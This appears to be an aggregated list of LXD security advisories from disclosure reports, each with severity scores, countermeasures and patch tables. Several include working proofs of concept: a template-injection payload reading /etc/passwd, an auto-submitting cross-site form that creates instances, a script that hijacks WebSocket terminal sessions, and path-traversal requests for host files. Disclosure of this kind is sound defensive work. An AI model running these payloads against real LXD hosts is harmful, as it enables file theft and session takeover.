Where
-Infinity
0
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Impact In LXD's instance snapshot creation functionality, the Pongo2 template engine is used in the snapshots.pattern configuration for generating snapshot names. While code execution functionality has not been found in this template engine, it has file reading capabilities, creating a vulnerability that allows arbitrary file reading through template injection attacks.

Reproduction Steps

1. Log in to LXD-UI with an account that has permissions to modify instance settings 2. Set the following template injection payload in the instance snapshot pattern:

{% filter urlencode|slice:":100" %}{% include "/etc/passwd" %}{%endfilter %}

Note that the above template uses the Pongo2 template engine's include tag to read system files. It also uses urlencode and slice filters to bypass character count and type restrictions.

3. Set scheduled snapshots to run every minute and wait for snapshot generation 4. Wait about a minute and confirm that file contents can be obtained from the created snapshot name

Risk The attack requires having configuration change permissions for LXD instances. The attack allows reading arbitrary files accessible with LXD process permissions. This could lead to leakage of the following information: -​ LXD host configuration files (/etc/passwd, /etc/shadow, etc.) -​ LXD database files (containing information about all projects and instances) -​ Configuration files and data of other instances -​ Sensitive information on the host system

Countermeasures Pongo2 provides mechanisms for sandboxing templates.

Template sandboxing (directory patterns, banned tags/filters) ( https://github.com/flosch/pongo2/tree/master?tab=readme-ov-file#features )

This functionality allows banning specific tags and filters by generating a custom TemplateSet.

At minimum, the following tags are considered to pose a risk of file leakage on the LXD host when used. Therefore, banning these can provide countermeasures against file reading attacks. -​ include -​ ssi -​ extends -​ import

The deny-list approach is prone to vulnerability recurrence due to missed countermeasures or new feature additions. Therefore, as the safest approach, we recommend using an allow-list format to permit only necessary functions.

However, as far as our investigation shows, pongo2 does not have functionality to retrieve a list of registered tags or filters, nor does it provide means to implement an allow-list approach. Therefore, it is necessary to either forcibly obtain the registration list through reflection and ban anything not on the allow-list, or ban everything from the current implemented list since the library has not been updated for about two years.

In LXD's implementation, template injection attacks can be prevented by modifying the RenderTemplate function in shared/util.go to use a restricted TemplateSet as shown above.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References Reported by GMO Flatt Security Inc.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
CSRF
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Description OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted.

However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary.

Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when Content-Type is text/plain or application/x-www-form-urlencoded, CSRF attacks exploiting HTML form submissions are possible.

Reproduction Steps 1. Prepare a malicious website controlled by the attacker 2. Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:

This exploit code automatically sends a JSON string as text/plain to create an instance when rendered.

Note that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured. This is typically set in the default profile of projects created after storage pool creation.

html <html> <body> <form enctype="text/plain" method="POST" action="https://lxd-host:8443/1.0/instances?project=default&target=" id="form"> <input type="hidden" name='{"' id="input"> <input type="submit"> </form> <script> const i = document.getElementById('input'); i.value = ":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}; document.getElementById('form').submit(); </script> </body> </html>

3. Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2 4. Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started

Risk The attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.

Possible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.

Countermeasures The most effective countermeasure is to strictly enforce Content-Type validation at API endpoints. Specifically, change the implementation to reject requests when Content-Type is not application/json. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack.

Additionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Fixed in LXD 5.0.5 | | 4.0 | Ignored - No web UI |

References Reported by GMO Flatt Security Inc.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Impact The LXD /1.0/images endpoint is implemented as an AllowUntrusted API that requires no authentication, making it accessible to users without accounts. This API allows determining project existence through differences in HTTP status codes when accessed with the project parameter.

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/images.go#L63-L69

This configuration allows access without authentication:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/daemon.go#L924-L926

This API returns a 404 error when accessing existing projects and a 403 error when accessing non-existent projects, allowing confirmation of project existence through this difference.

The problematic implementation is shown below.

First, in the error handling implementation of the imagesGet function below, project existence is checked within the projectutils.ImageProject function, and the err returned by the ImageProject function is directly returned to the user.

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/i mages.go#L1781-L1788

When the project doesn't exist, the error is 404 (http.StatusNotFound), which is returned to the user:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/db/cluster/projects.mapper.go#L237-L239

On the other hand, when the project exists but the user lacks viewing permissions, the imagesGet function returns 403 (response.Forbidden):

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/images.go#L1796-L1799

Reproduction Steps 1. Send the following request without authentication to a non-existent project:

curl -k "https://lxd-host:8443/1.0/images?project=XXX-project"

Response:

json {"type":"error","status":"","statuscode":0,"operation":"","errorcode":404,"error":"fetch project: Project not found","metadata":null}

2. Send a request without authentication to an existing project (if a public project exists, it will be included in the response):

curl -k "https://lxd-host:8443/1.0/images?project=exist-project"

Reponse:

{"type":"error","status":"","statuscode":0,"operation":"","errorcode":403,"error":"Untrusted callers may only access public images in the default project","metadata":null}

Risk The attack requires only network access to the LXD API endpoint, with no authentication needed.

The attack allows confirming the existence of projects within the LXD system by exploiting differences in HTTP status codes. This could potentially increase the exploitability of othervulnerabilities.

Additionally, since project IDs often use meaningful names set by users, this could lead to leakage of unpublished product information. However, resource information within projects cannot be obtained, limiting the impact to existence confirmation only.

Countermeasures It is recommended to modify the error handling in the imagesGet function to return consistent responses regardless of project existence. Specifically, when an error occurs during project existence verification, the implementation should be changed to always return a 403 (Untrusted callers may only access public images in the default project) error to unauthenticated users.

This ensures that the same error response is returned for both existing and non-existing projects, preventing determination of project existence.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References Reported by GMO Flatt Security Inc.

1 / 2
Source: GitHub
First published (updated )
Severity
5.1
AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N

Impact In LXD's devLXD server, the source container identification process uses process cmdline (command line) information, allowing attackers to impersonate other containers by spoofing process names.

The core issue lies in the findContainerForPID function in lxd/apidevlxd.go. This function identifies senders through two steps as shown below:

1. cmdline-based identification: Check while tracing back through parent processes, and if it starts with [lxc monitor], extract the project name and container name from that process name in the format projectNamecontainerName. 2. PID namespace-based identification: If not found in Step 1, check against all containers' PID namespaces.

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/apidevlxd.go#L166-L276

Attackers can exploit Step 1 processing to impersonate arbitrary containers across projects by spoofing process names.

Reproduction Steps 1. Access devLXD server from a normal container (e.g., EEEE):

root@EEEE:~# curl --unix-socket /dev/lxd/sock http://lxd-host/1.0/meta-data instance-id: 9f928574-2561-4eff-af82-a68e57d3c68b local-hostname: EEEE

2. Use exec -a to spoof process name and impersonate another container (DDDD):

root@EEEE:~# bash -c "exec -a '[lxc monitor]' curl --unix-socket /dev/lxd/sock http://lxd-host/1.0/meta-data -x 'test-projectDDDD'" instance-id: 1bb2f1c3-3ad2-4cd6-9965-67b14c3582cc local-hostname: DDDD

This attack successfully obtains metadata (instance-id, local-hostname) of another container DDDD from within container EEEE.

Risk This vulnerability allows attackers to perform the following actions:

1. Theft of other containers' metadata information Obtaining other containers' information via devLXD API's /1.0/meta-data endpoint: https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/devlxd.go#L295-L304

2. Obtaining other containers' configuration information via devLXD API's /1.0/config and /1.0/config/{key} endpoints: https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/devlxd.go#L175-L221 https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/devlxd.go#L228-L267

4. Obtaining other containers' device information via devLXD API's /1.0/devices endpoint: https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/devlxd.go#L377-L395 Particularly in environments where multiple projects run containers on the same LXD host, inter-project information leakage may occur. The attack prerequisite is root privileges within any container.

Countermeasures While containers basically run in separate PID namespaces, based on investigation, the [lxc monitor] process runs in the same PID namespace as the LXD execution process. Therefore, the problem can be resolved by modifying the implementation to use cmdline information only when the PID namespace of the target process matches the PID namespace of the process running LXD.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References Reported by GMO Flatt Security Inc.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
Infoleak
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact In LXD's images export API (/1.0/images/{fingerprint}/export), implementation differences in error handling allow determining project existence without authentication.

Specifically, in the following code, errors when multiple images match are directly returned to users as API responses:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/db/images.go#L239-L246

While fingerprints generally don't duplicate, this functionality uses fingerprints with LIKE clauses, allowing prefix specification. Therefore, using LIKE wildcards such as % will match multiple images if multiple images exist in the project.

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/db/images.go#L277-L286

In the above implementation, multiple matches result in a 500 error, but if the project itself doesn't exist, there are 0 matches and a 404 is returned.

1. When project exists and multiple images match: HTTP 500 error "More than one image matches" 2. When project doesn't exist: HTTP 404 error "not found" This behavioural difference allows attackers to confirm project existence without authentication.

Reproduction Steps 1. Send a request with a pattern matching multiple entries to an existing project (default):

curl -k 'https://lxd-host:8443/1.0/images/%25/export?project=default&secret=x'

Response:

json {"type":"error","status":"","statuscode":0,"operation":"","errorcode":500,"error":"More than one image matches","metadata":null}

2. Send a same request to a non-existent project (not-exist):

curl -k 'https://lxd-host:8443/1.0/images/%25/export?project=not-exist&secret=x'

Response:

json {"type":"error","status":"","statuscode":0,"operation":"","errorcode":404,"error":"not found","metadata":null}

This difference allows enumerating existing projects in the system by brute-forcing(dictionary attack) project names.

Note that %25 is the URL encoding of %, which works as a wildcard matching all characters in SQL LIKE clauses. This is used to intentionally create requests matching multiple images to trigger a 500 error.

Additionally, the secret parameter is added to include non-public images in the search, increasing the possibility of multiple matches.

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/images.go#L4211-L4230

Risk The attack requires only network access to the LXD API endpoint, with no authentication needed.

The attack allows confirming the existence of projects within the LXD system by exploiting differences in HTTP status codes. This could potentially increase the exploitability of other vulnerabilities. Additionally, since project IDs often use meaningful names set by users, this could lead to leakage of unpublished product information.

However, resource information within projects cannot be obtained, limiting the impact to existence confirmation only.

Countermeasures It is recommended to modify error handling in the images export API (/1.0/images/{fingerprint}/export) to return consistent responses regardless of project existence.

Specifically, return 404 even when errors occur during project existence verification. This ensures the same error response is returned for both existing and non-existing projects, preventing determination of project existence.

Additionally, if there are no specification(compatibility) issues, allowing only exact fingerprint matches in unauthenticated states and disabling prefix matching can prevent unexpected errors from occurring.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References Reported by GMO Flatt Security Inc.

1 / 2
Source: GitHub
First published (updated )
Severity
7.4
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Impact LXD's operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.

Therefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim's privileges.

Reproduction Steps

1. Log in to LXD-UI using an account with read-only permissions 2. Open browser DevTools and execute the following JavaScript code

Note that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.

js (async () => { class LXDEventsSession { constructor(callback) { this.wsBase = wss://${window.location.host}/1.0/events?type=operation&all-p rojects=true; this.eventsConn = new WebSocket(this.wsBase); this.eventsConn.onopen = (event) => { console.log('Events conn Opened'); }; this.eventsConn.onmessage = (event) => { callback(event); }; }} class LXDWebSocketSession { constructor(operationId, secrets) { this.operationId = operationId; this.secrets = secrets; this.wsBase = wss://${window.location.host}/1.0/operations/${operationId}/w ebsocket; this.connections = {}; this.connections.data = new WebSocket(${this.wsBase}?secret=${this.secrets['0']}); this.connections.data.onopen = (event) => { console.log('Data Opened'); this.connections.data.send(new TextEncoder().encode('touch /tmp/xxx\r')); } this.connections.data.onmessage = (event) => { console.log('[Data]', event.data); }; this.connections.control = new WebSocket(${this.wsBase}?secret=${this.secrets.control}); this.connections.control.onopen = (event) => { console.log('Control Opened'); } this.connections.control.onmessage = (event) => { console.log('[Control]', event.data); }; } close() { Object.values(this.connections).forEach(ws => { if (ws.readyState === WebSocket.OPEN) { ws.close(); } }); } } const sessions = []; new LXDEventsSession( (event) => { const op = JSON.parse(event.data); const opId = op.metadata.id;const secrets = op.metadata.metadata.fds; for(const session of sessions){ if(session.operationId === opId){ return; } } sessions.push(new LXDWebSocketSession(opId, secrets)) }); })();

5. Have another user (or yourself for testing) start a terminal or console session on an instance At this time, whoever uses the secret first gains session rights, so it's recommended to intentionally slow down communication speed using DevTools' bandwidth throttling feature for verification. 6. Refresh the attacker's browser tab to stop event listening 7. Have the victim reopen their terminal/console session and verify:

$ ls -la /tmp/xxx

Risk Attack conditions require that the attacker has read permissions for the project, the victim (a user with higher privileges) opens a terminal or console session, and the attacker hijacks the WebSocket connection at the appropriate timing. Therefore, while successful attacks result in privilege escalation, the attack timing is very critical, making the realistic risk of attack relatively low.

Countermeasures As a fundamental countermeasure, it is recommended to exclude WebSocket connection secret information from operations API responses for read-only users. In the current implementation, the operations API returns all operation information (including secret values) regardless of permission level, which violates the principle of least privilege.

Specifically, in lxd/operations.go, user permissions should be checked, and for users with read-only permissions, WebSocket-related secrets (fds field) should be excluded from operation metadata. This prevents attackers from obtaining secret values, making WebSocket connection hijacking impossible.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References Reported by GMO Flatt Security Inc.

1 / 2
Source: GitHub
First published (updated )
Severity
4.8
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Path traversal in Canonical LXD LXD-UI versions before 6.5 and 5.21.4 on all platforms allows remote authenticated attackers to access or modify unintended resources via crafted resource names embedded in URL paths.

First published (updated )
Severity
7.1
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Impact Although outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instancelogs.go in the LXD 5.0 LTS series.

This vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier.

However, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it.

Implementation in vulnerable versions (LXD 5.0 LTS series):

https://github.com/canonical/lxd/blob/1f8c9f77782784900960bb3b8577c1491db59277/lxd/instancelogs.go#L152-L163

This function allows filenames starting with snapshot or migration, but lacks sufficient validation for the portion after the prefix, enabling path traversal attacks. The fixed version is as follows:

Implementation in fixed versions (LXD 5.21 and later):

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L665-L679

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/shared/util.go#L833-L835

This function ensures that filenames do not contain /, \, or .. .

Note that in Linux generally, path traversal like /notexistfolder/../existfolder/ is rejected within system calls and doesn't succeed.

However, in this case, the attack succeeds because URL normalization by golang's filepath.Join is performed beforehand.

Related part of instanceLogGet function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L218-L269

Related part of instanceLogDelete function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L331-L347

In the fixed version, filenames containing path traversal strings are rejected at the validLogFileName stage through pre-checking by shared.IsFileName.

Reproduction Steps

All reproduction steps for this finding must be performed on LXD 5.0.

1. Log in with an account having access to LXD-UI 2. Open browser DevTools and execute the following JavaScript to attempt path traversal attack:

js (async () => { const projectName = prompt("Enter target project name:"); const instanceName = prompt("Enter target instance name:"); const maliciousLogFile = encodeURIComponent('snapshot../../../../../../../../../../etc /passwd'); const response = await fetch(/1.0/instances/${instanceName}/logs/${maliciousLogFile} ?project=${projectName}, { method: 'GET', credentials: 'include' }); const content = await response.text(); console.log(content); })();

Description (2) A similar issue also exists in the validExecOutputFileName function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L681-L688

For exec-output, since a suffix is specified, it appears that arbitrary files cannot be specified. However, if an attacker has command execution privileges within a container, they can create a symbolic link that satisfies the suffix condition within the container and have the LXD host access it to perform the attack.

Reproduction Steps (2)

1. Open terminal in instance using LXD-UI and create symbolic link:

ln -s /etc/passwd execXXX-symlink.stdout

2. Execute the following JavaScript in browser DevTools to read files via symbolic link:

js (async () => { const projectName = prompt("Enter target project name:"); const instanceName = prompt("Enter target instance name:"); const maliciousExecFile = encodeURIComponent(exec../../../../../../../../../../../var/ snap/lxd/common/lxd/storage-pools/${projectName}/containers/${ instanceName}/rootfs/root/execXXX-symlink.stdout); const response = await fetch(/1.0/instances/${instanceName}/logs/exec-output/${malic iousExecFile}?project=${projectName}, { method: 'GET', credentials: 'include' }); const content = await response.text(); console.log(content); })();

This technique allows attackers with command execution privileges within a container to create symbolic links and attempt access to the host filesystem.

Risk This vulnerability exists in the LXD 5.0 LTS series, which appears to remain in widespread use, and if attackers have access to arbitrary projects and instances, they can read arbitrary files on the LXD host.

This could lead to leakage of the following information: -​ LXD host configuration files (/etc/passwd, /etc/shadow, etc.) -​ LXD database files (containing information about all projects and instances) -​ Configuration files and data of other instances -​ Sensitive information on the host system

Countermeasures Since this vulnerability has already been fixed, the primary countermeasures are providing information to users running older versions of LXD and, if possible, backporting to other LTS versions:

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - Not critical |

References Reported by GMO Flatt Security Inc.

1 / 2
Source: GitHub
First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Improper link resolution in the migration receive path in Canonical LXD versions 4.0 and later (fixed in 4.0.14, 5.0.10, 5.21.8 and 6.10) on Linux allows an authenticated client that can create instances or custom storage volumes in a project, or a malicious migration source server, to write attacker-controlled files to arbitrary paths on the target host as root, leading to full host compromise. The attacker does this with a crafted rsync or btrfs send stream that plants a symlink in the transferred volume, such as rootfs or root.img, and then writes through it.

First published (updated )
Severity
9.9
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Path traversal in the Btrfs storage driver (unpackVolume) in Canonical LXD on Linux allows an authenticated user with instance creation privileges to delete or replace arbitrary files and directories on the host filesystem as root via a crafted subvolumes[].path entry in backup/optimizedheader.yaml during a btrfs optimized backup import.

First published (updated )
Severity
4.2
Path Traversal
AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:L

Path traversal in the CLI client image export and copy functionality in Canonical LXD from 4.0.2 before 4.0.14, 5.0.10, 5.21.8, and 6.10 on all platforms allows a remote malicious or machine-in-the-middle image server to overwrite arbitrary local files and execute code on the client system via a crafted Content-Disposition header filename parameter during unified image export or copy operations into a local directory target.

First published (updated )
Severity
7.7
EPSS
0.21%
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Incorrect authorization in the custom storage volume creation endpoint in Canonical LXD versions 5.0.0 and later (fixed in 5.0.10, 5.21.8 and 6.10) on Linux allows an authenticated client with permission to create custom volumes in a project to copy, and so read, any custom storage volume from any other project on the server, including its snapshots and configuration. The client does this with a crafted request that sets a source volume and source.project but omits source.type.

First published (updated )
Severity
5.8
AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:N

Improper link resolution in the recursive file pull feature of the LXD CLI client in Canonical LXD versions 4.0.2 up to 6.9 (fixed in 4.0.14, 5.0.10 and 5.21.8) on Linux allows an attacker with root access inside a virtual machine to write attacker-controlled files or directory trees to arbitrary paths on the client host, with the operator's privileges. The attacker does this by using a modified lxd-agent that returns inconsistent SFTP directory listings and Lstat results.

First published (updated )
Severity
9.6
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H

Path traversal in the btrfs storage driver in Canonical LXD versions 4.0.2 and later (fixed in 4.0.14, 5.0.10, 5.21.8 and 6.10) on Linux allows an authenticated client with permission to create instances in a project to delete arbitrary files on the host as root. On hosts whose root filesystem is btrfs, the client can also place attacker-controlled content at arbitrary host paths, leading to full host compromise. The client does this with a crafted subvolume path containing ../ sequences, sent in either of two ways: in the optimizedheader.yaml of an optimized btrfs backup, or in the btrfs migration header sent by a malicious migration source.

First published (updated )
Severity
6.3
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

Missing Authorization in imageDownload in Canonical LXD before 5.0.10, 5.21.8, and 6.10 on Linux allows a project-restricted client to access private images from other projects via local fingerprint reuse during image or instance import requests.

First published (updated )
Severity
9.4
OS Command Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

An improper sanitization of the compressionalgorithm parameter in Canonical LXD allows an authenticated, unprivileged user to execute commands as the LXD daemon on the LXD server via API calls to the image and backup endpoints. This issue affected LXD from 4.12 through 6.6 and was fixed in the snap versions 5.0.6-e49d9f4 (channel 5.0/stable), 5.21.4-1374f39 (channel 5.21/stable), and 6.7-1f11451 (channel 6.0 stable). The channel 4.0/stable is not affected as it contains version 4.0.10.

First published (updated )
Severity
8.5
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

A path traversal vulnerability in LXD allows an attacker to achieve arbitrary host file read or unconstrained file creation. When processing image metadata templates, LXD fails to properly sanitize or restrict template file paths from escaping the instance templates directory (specifically affecting virtual machine / QEMU driver execution paths). An attacker can exploit this flaw by providing a crafted image archive with malicious template directives containing path traversal sequences, causing LXD to access or write files outside the intended template directory on the host system.

First published (updated )
Severity
9.9
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A path traversal vulnerability in LXD allows an attacker to manipulate file system paths during backup import and restore operations. When importing or restoring a backup archive, LXD fails to validate instance and storage volume names contained within the archive metadata. An attacker can exploit this flaw by supplying a crafted backup archive with malicious instance or volume names containing path traversal sequences, potentially allowing file access or overwriting outside the designated restore directory.

First published (updated )
Severity
9.9
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A path traversal vulnerability in LXD's instance template processing allows an attacker with container edit permissions, or any user launching a crafted image, to overwrite arbitrary files on the host system as root. When processing target template paths specified in metadata.yaml, LXD validates the path against a confined os.Root directory handle but subsequently opens and creates the file using os.Create with an unconfined string path. This discrepancy between path resolution checks and file creation allows an attacker to escape directory confinement, overwrite root-owned host files, and achieve host root code execution.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

An authorization bypass vulnerability in LXD allows an authenticated user to bypass project-level disk and volume limits. Two related code paths fail to verify resource limits during volume operations: the storagePoolVolumeTypePostMove function omits the limits.AllowVolumeCreation check before moving a volume across projects, and volume snapshot restore operations skip the AllowVolumeUpdate check when the configuration is nil (Config == nil). An attacker can exploit these flaws to allocate storage resources that exceed the administrative limits configured for a project.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

An improper validation vulnerability in the instancePostMigration function in lxd/instancepost.go of LXD allows an authenticated attacker with cancreateinstances permissions on a restricted project to bypass project-level security restrictions. When migrating an instance between projects, LXD fails to validate the instance's configuration against the target project's enforced restrictions (such as restricted.containers.lowlevel, restricted.devices., and restricted.networks.access). An attacker can exploit this by creating a disallowed or high-privilege instance in an unrestricted project and subsequently moving it into the restricted project.

First published (updated )
Severity
9.9
OS Command Injection
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

An improper neutralization of special elements vulnerability in LXD's NVIDIA instance configuration handling allows an authenticated attacker to inject arbitrary configuration directives. By supplying newline characters within the 'nvidia.driver.capabilities' or 'nvidia.require.' configuration values, an attacker can manipulate the generated lxc.conf file. This flaw enables the attacker to execute arbitrary code on the host system with the privileges of the LXD daemon.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

An authorization bypass vulnerability in LXD due to a timing flaw during configuration merging allows an authenticated attacker to bypass target project restrictions during cross-project instance copies. When copying an instance to a target project, LXD performs restriction checks before configuration merging is complete, creating a time-of-check to time-of-use (TOCTOU) condition. An attacker can exploit this flaw to copy instances with disallowed high-privilege configurations into restricted projects, bypassing security controls.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

An authorization bypass vulnerability in LXD allows an authenticated attacker to bypass target project restrictions during instance migration. When migrating an instance to a target project, LXD accepts configuration overrides without validating the new configuration against the target project's enforced restrictions. An attacker can exploit this flaw to move instances with disallowed high-privilege configurations into restricted projects, bypassing security controls.

First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

An authorization bypass vulnerability in LXD allows an authenticated attacker to bypass project-level container isolation restrictions. When a project is configured with restrictions on container privileges (such as enforcing restricted.containers.privilege=isolated), LXD fails to enforce the requirement if an instance configuration omits the security.idmap.isolated key. An attacker can exploit this flaw by creating or updating an instance without explicitly setting security.idmap.isolated, bypassing the target project's security constraints.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A link following vulnerability in LXD allows an attacker to achieve root command execution on the host system. During the import or unpacking of crafted image or backup archives, LXD fails to properly validate and confine the backup.yaml file when it exists as a symbolic link. An attacker can exploit this flaw by providing a malicious archive with a symlinked backup.yaml file, causing LXD to process unconfined configuration metadata and execute arbitrary commands with root privileges.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

An authorization bypass vulnerability in LXD allows an authenticated attacker to bypass target project security restrictions during cross-project instance migrations. When moving an instance cross-project to a different cluster member via POST /1.0/instances/{name} with migration: true, project: <target>, and target: <member>, the destination node skips all project restriction checks because the request arrives as an internal cluster notification. An attacker can exploit this to introduce disallowed instance configurations into a restricted project.

Remedy

Upgrade to LXD version 5.0.8 or later, 5.21.6 or later, or 6.10 or later.
First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A link following vulnerability in LXD allows an attacker to achieve arbitrary file read and write operations on the host system. When importing or unpacking an image archive, LXD fails to validate whether the metadata.yaml file is a symbolic link. An attacker can exploit this flaw by providing a crafted image archive with a symlinked metadata.yaml file pointing to target file paths on the host system.

First published (updated )
Severity
5
SSRF
